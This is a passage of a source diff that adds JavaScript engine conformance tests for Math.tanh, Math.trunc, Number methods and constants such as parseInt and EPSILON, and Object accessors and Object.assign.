+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.tanh(y), x, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/tanh-exact.js b/js/src/tests/ecma_6/Math/tanh-exact.js
new file mode 100644
index 000000000..bfd9ac4de
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/tanh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.tanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.tanh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.tanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.tanh(-0), -0);
+
+// If x is +∞, the result is +1.
+assertEq(Math.tanh(Number.POSITIVE_INFINITY), +1);
+
+// If x is −∞, the result is -1.
+assertEq(Math.tanh(Number.NEGATIVE_INFINITY), -1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/trunc.js b/js/src/tests/ecma_6/Math/trunc.js
new file mode 100644
index 000000000..4cadfd922
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/trunc.js
@@ -0,0 +1,50 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.trunc(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.trunc(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.trunc(+0), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.trunc(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.trunc(-Infinity), -Infinity);
+
+// Other boundary cases.
+var MAX_NONINTEGER_VALUE = 4503599627370495.5;
+var TRUNC_MAX_NONINTEGER_VALUE = 4503599627370495;
+
+assertEq(Math.trunc(Number.MIN_VALUE), +0);
+assertEq(Math.trunc(ONE_MINUS_EPSILON), +0);
+assertEq(Math.trunc(ONE_PLUS_EPSILON), 1);
+assertEq(Math.trunc(MAX_NONINTEGER_VALUE), TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(Number.MAX_VALUE), Number.MAX_VALUE);
+
+assertEq(Math.trunc(-Number.MIN_VALUE), -0);
+assertEq(Math.trunc(-ONE_MINUS_EPSILON), -0);
+assertEq(Math.trunc(-ONE_PLUS_EPSILON), -1);
+assertEq(Math.trunc(-MAX_NONINTEGER_VALUE), -TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(-Number.MAX_VALUE), -Number.MAX_VALUE);
+
+// Other cases.
+for (var i = 1, f = 1.1; i < 20; i++, f += 1.0)
+ assertEq(Math.trunc(f), i);
+
+for (var i = -1, f = -1.1; i > -20; i--, f -= 1.0)
+ assertEq(Math.trunc(f), i);
+
+assertEq(Math.trunc(1e40 + 0.5), 1e40);
+
+assertEq(Math.trunc(1e300), 1e300);
+assertEq(Math.trunc(-1e300), -1e300);
+assertEq(Math.trunc(1e-300), 0);
+assertEq(Math.trunc(-1e-300), -0);
+
+assertEq(Math.trunc(+0.9999), +0);
+assertEq(Math.trunc(-0.9999), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Number/15.7.3.7-EPSILON.js b/js/src/tests/ecma_6/Number/15.7.3.7-EPSILON.js
new file mode 100644
index 000000000..55e92ef1c
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/15.7.3.7-EPSILON.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft May 2013) 15.7.3.7 Number.EPSILON";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.EPSILON, Math.pow(2, -52));
+
+// Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'EPSILON');
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Number/20.1.2.10-MIN_SAFE_INTEGER.js b/js/src/tests/ecma_6/Number/20.1.2.10-MIN_SAFE_INTEGER.js
new file mode 100644
index 000000000..8b96651ff
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/20.1.2.10-MIN_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft April 2014) 20.1.2.10 Number.MIN_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MIN_SAFE_INTEGER, -(Math.pow(2, 53) - 1));
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MIN_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Number/20.1.2.6-MAX_SAFE_INTEGER.js b/js/src/tests/ecma_6/Number/20.1.2.6-MAX_SAFE_INTEGER.js
new file mode 100644
index 000000000..e3a2ddff1
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/20.1.2.6-MAX_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft April 2014) 20.1.2.6 Number.MAX_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MAX_SAFE_INTEGER, Math.pow(2, 53) - 1);
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MAX_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Number/20.1.3.2-toExponential.js b/js/src/tests/ecma_6/Number/20.1.3.2-toExponential.js
new file mode 100644
index 000000000..f87c750df
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/20.1.3.2-toExponential.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.2: Number.prototype.toExponential";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(NaN, 555), 'NaN');
+
+// With NaN fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toExponential.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toExponential.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toExponential.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/ecma_6/Number/20.1.3.2-toPrecision.js b/js/src/tests/ecma_6/Number/20.1.3.2-toPrecision.js
new file mode 100644
index 000000000..5c9856044
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/20.1.3.2-toPrecision.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.5: Number.prototype.toPrecision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(NaN, 555), 'NaN');
+
+// With NaN, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toPrecision.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toPrecision.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toPrecision.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/ecma_6/Number/20.1.3.3-toFixed.js b/js/src/tests/ecma_6/Number/20.1.3.3-toFixed.js
new file mode 100644
index 000000000..28b57ddaa
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/20.1.3.3-toFixed.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number.prototype.toFixed.call(-Infinity), "-Infinity");
+assertEq(Number.prototype.toFixed.call(Infinity), "Infinity");
+assertEq(Number.prototype.toFixed.call(NaN), "NaN");
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(-Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(NaN, 555), RangeError);
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Number/ToNumber.js b/js/src/tests/ecma_6/Number/ToNumber.js
new file mode 100644
index 000000000..5716c8a00
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/ToNumber.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number("0b11"), 3);
+assertEq(Number("0B11"), 3);
+assertEq(Number(" 0b11 "), 3);
+assertEq(Number("0b12"), NaN);
+assertEq(Number("-0b11"), NaN);
+assertEq(+"0b11", 3);
+
+assertEq(Number("0o66"), 54);
+assertEq(Number("0O66"), 54);
+assertEq(Number(" 0o66 "), 54);
+assertEq(Number("0o88"), NaN);
+assertEq(Number("-0o66"), NaN);
+assertEq(+"0o66", 54);
+
+if(typeof getSelfHostedValue === "function"){
+ assertEq(getSelfHostedValue("ToNumber")("0b11"), 3);
+ assertEq(getSelfHostedValue("ToNumber")("0o66"), 54);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Number/browser.js b/js/src/tests/ecma_6/Number/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/browser.js
diff --git a/js/src/tests/ecma_6/Number/isSafeInteger-01.js b/js/src/tests/ecma_6/Number/isSafeInteger-01.js
new file mode 100644
index 000000000..d1a11cfe3
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/isSafeInteger-01.js
@@ -0,0 +1,40 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1003764;
+var summary = "ES6 (draft Draft May 22, 2014) ES6 20.1.2.5 Number.isSafeInteger(number)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.isSafeInteger.length, 1);
+
+assertEq(Number.isSafeInteger({}), false);
+assertEq(Number.isSafeInteger(NaN), false);
+assertEq(Number.isSafeInteger(+Infinity), false);
+assertEq(Number.isSafeInteger(-Infinity), false);
+
+assertEq(Number.isSafeInteger(-1), true);
+assertEq(Number.isSafeInteger(+0), true);
+assertEq(Number.isSafeInteger(-0), true);
+assertEq(Number.isSafeInteger(1), true);
+
+assertEq(Number.isSafeInteger(3.2), false);
+
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 2), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 1), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 1), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 2), false);
+
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 2), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 1), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 1), true);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 2), true);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_6/Number/parseFloat-01.js b/js/src/tests/ecma_6/Number/parseFloat-01.js
new file mode 100644
index 000000000..8c57e4e12
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/parseFloat-01.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.10 Number.parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.parseFloat("Infinity"), Infinity);
+assertEq(Number.parseFloat("+Infinity"), Infinity);
+assertEq(Number.parseFloat("-Infinity"), -Infinity);
+
+assertEq(Number.parseFloat("inf"), NaN);
+assertEq(Number.parseFloat("Inf"), NaN);
+assertEq(Number.parseFloat("infinity"), NaN);
+
+assertEq(Number.parseFloat("nan"), NaN);
+assertEq(Number.parseFloat("NaN"), NaN);
+
+/* Number.parseFloat should be the same function object as global parseFloat. */
+assertEq(Number.parseFloat, parseFloat);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_6/Number/parseInt-01.js b/js/src/tests/ecma_6/Number/parseInt-01.js
new file mode 100644
index 000000000..20bda1872
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/parseInt-01.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(Number.parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(Number.parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(Number.parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(Number.parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(Number.parseInt("-" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt(" -" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt("-", 10), NaN);
+assertEq(Number.parseInt("", 10), NaN);
+assertEq(Number.parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(Number.parseInt("+12345", 10), 12345);
+assertEq(Number.parseInt(" +12345", 10), 12345);
+assertEq(Number.parseInt("-12345", 10), -12345);
+assertEq(Number.parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(Number.parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(Number.parseInt("123", null), 123);
+assertEq(Number.parseInt("123", undefined), 123);
+assertEq(Number.parseInt("123", NaN), 123);
+assertEq(Number.parseInt("123", -0), 123);
+assertEq(Number.parseInt("10", 72057594037927950), 16);
+assertEq(Number.parseInt("10", -4294967292), 4);
+assertEq(Number.parseInt("0x10", 1e308), 16);
+assertEq(Number.parseInt("10", 1e308), 10);
+assertEq(Number.parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(Number.parseInt(vs[i], 0), Number.parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(Number.parseInt("0x10"), 16);
+assertEq(Number.parseInt("0x10", 0), 16);
+assertEq(Number.parseInt("0x10", 16), 16);
+assertEq(Number.parseInt("0x10", 8), 0);
+assertEq(Number.parseInt("-0x10", 16), -16);
+
+assertEq(Number.parseInt("5", 1), NaN);
+assertEq(Number.parseInt("5", 37), NaN);
+assertEq(Number.parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(Number.parseInt(""), NaN);
+assertEq(Number.parseInt("ohai"), NaN);
+assertEq(Number.parseInt("0xohai"), NaN);
+assertEq(Number.parseInt("-ohai"), NaN);
+assertEq(Number.parseInt("+ohai"), NaN);
+assertEq(Number.parseInt(" ohai"), NaN);
+
+assertEq(Number.parseInt("0xaohai"), 10);
+assertEq(Number.parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(Number.parseInt("ohai", 36), 1142154);
+assertEq(Number.parseInt("0ohai", 36), 1142154);
+assertEq(Number.parseInt("00ohai", 36), 1142154);
+assertEq(Number.parseInt("A", 16), 10);
+assertEq(Number.parseInt("0A", 16), 10);
+assertEq(Number.parseInt("00A", 16), 10);
+assertEq(Number.parseInt("A", 17), 10);
+assertEq(Number.parseInt("0A", 17), 10);
+assertEq(Number.parseInt("00A", 17), 10);
+
+/* Number.parseInt should be the same function object as global parseInt. */
+assertEq(Number.parseInt, parseInt);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_6/Number/parseInt-default-to-decimal.js b/js/src/tests/ecma_6/Number/parseInt-default-to-decimal.js
new file mode 100644
index 000000000..7049ef661
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/parseInt-default-to-decimal.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)." +
+ " Verify that Number.parseInt defaults to decimal.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Number.parseInt("08"), 8);
+assertEq(Number.parseInt("09"), 9);
+assertEq(Number.parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return Number.parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_6/Number/shell.js b/js/src/tests/ecma_6/Number/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Number/shell.js
diff --git a/js/src/tests/ecma_6/Object/accessor-arguments-rest.js b/js/src/tests/ecma_6/Object/accessor-arguments-rest.js
new file mode 100644
index 000000000..82f37b62e
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/accessor-arguments-rest.js
@@ -0,0 +1,24 @@
+assertThrowsInstanceOf(() => eval("({ get x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a}, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a: A}, ...b) { } })"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("({ set x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x({a: A}, ...b) { } })"), SyntaxError);
+
+({ get(...a) { } });
+({ get(a, ...b) { } });
+({ get([a], ...b) { } });
+({ get({a}, ...b) { } });
+({ get({a: A}, ...b) { } });
+
+({ set(...a) { } });
+({ set(a, ...b) { } });
+({ set([a], ...b) { } });
+({ set({a: A}, ...b) { } });
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/accessor-name.js b/js/src/tests/ecma_6/Object/accessor-name.js
new file mode 100644
index 000000000..1b5268e07
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/accessor-name.js
@@ -0,0 +1,36 @@
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name({get a() {}}, "a", true), "get a");
+assertEq(name({set a(v) {}}, "a", false), "set a");
+
+assertEq(name({get 123() {}}, "123", true), "get 123");
+assertEq(name({set 123(v) {}}, "123", false), "set 123");
+
+assertEq(name({get case() {}}, "case", true), "get case");
+assertEq(name({set case(v) {}}, "case", false), "set case");
+
+assertEq(name({get get() {}}, "get", true), "get get");
+assertEq(name({set set(v) {}}, "set", false), "set set");
+
+let o = {get a() { }, set a(v) {}};
+assertEq(name(o, "a", true), "get a");
+assertEq(name(o, "a", false), "set a");
+
+o = {get 123() { }, set 123(v) {}}
+assertEq(name(o, "123", true), "get 123");
+assertEq(name(o, "123", false), "set 123");
+
+o = {get case() { }, set case(v) {}}
+assertEq(name(o, "case", true), "get case");
+assertEq(name(o, "case", false), "set case");
+
+// Congratulations on implementing these!
+assertEq(name({get ["a"]() {}}, "a", true), "");
+assertEq(name({get [123]() {}}, "123", true), "");
+assertEq(name({set ["a"](v) {}}, "a", false), "");
+assertEq(name({set [123](v) {}}, "123", false), "");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/accessor-non-constructor.js b/js/src/tests/ecma_6/Object/accessor-non-constructor.js
new file mode 100644
index 000000000..32d1d3467
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/accessor-non-constructor.js
@@ -0,0 +1,20 @@
+var obj = { get a() { return 1; } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+
+obj = { set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+obj = { get a() { return 1; }, set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/assign.js b/js/src/tests/ecma_6/Object/assign.js
new file mode 100644
index 000000000..5deb09c8e
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/assign.js
@@ -0,0 +1,303 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function checkDataProperty(object, propertyKey, value, writable, enumerable, configurable) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ assertEq(desc === undefined, false);
+ assertEq('value' in desc, true);
+ assertEq(desc.value, value);
+ assertEq(desc.writable, writable);
+ assertEq(desc.enumerable, enumerable);
+ assertEq(desc.configurable, configurable);
+}
+
+/* 19.1.2.1 Object.assign ( target, ...sources ) */
+assertEq(Object.assign.length, 2);
+
+// Basic functionality works with multiple sources
+function basicMultipleSources() {
+ var a = {};
+ var b = { bProp : 7 };
+ var c = { cProp : 8 };
+ Object.assign(a, b, c);
+ assertEq(a.bProp, 7);
+ assertEq(a.cProp, 8);
+}
+basicMultipleSources();
+
+// Basic functionality works with symbols (Bug 1052358)
+function basicSymbols() {
+ var a = {};
+ var b = { bProp : 7 };
+ var aSymbol = Symbol("aSymbol");
+ b[aSymbol] = 22;
+ Object.assign(a, b);
+ assertEq(a.bProp, 7);
+ assertEq(a[aSymbol], 22);
+}
+basicSymbols();
+
+// Calls ToObject() for target, skips null/undefined sources, uses
+// ToObject(source) otherwise.
+function testToObject() {
+ assertThrowsInstanceOf(() => Object.assign(null, null), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(null, {}), TypeError);
+ assertEq(Object.assign({}, null) instanceof Object, true);
+ assertEq(Object.assign({}, undefined) instanceof Object, true);
+
+ // Technically an embedding could have this as extension acting differently
+ // from ours, so a feature-test is inadequate. We can move this subtest
+ // into extensions/ if that ever matters.
+ if (typeof objectEmulatingUndefined === "function") {
+ var falsyObject = objectEmulatingUndefined();
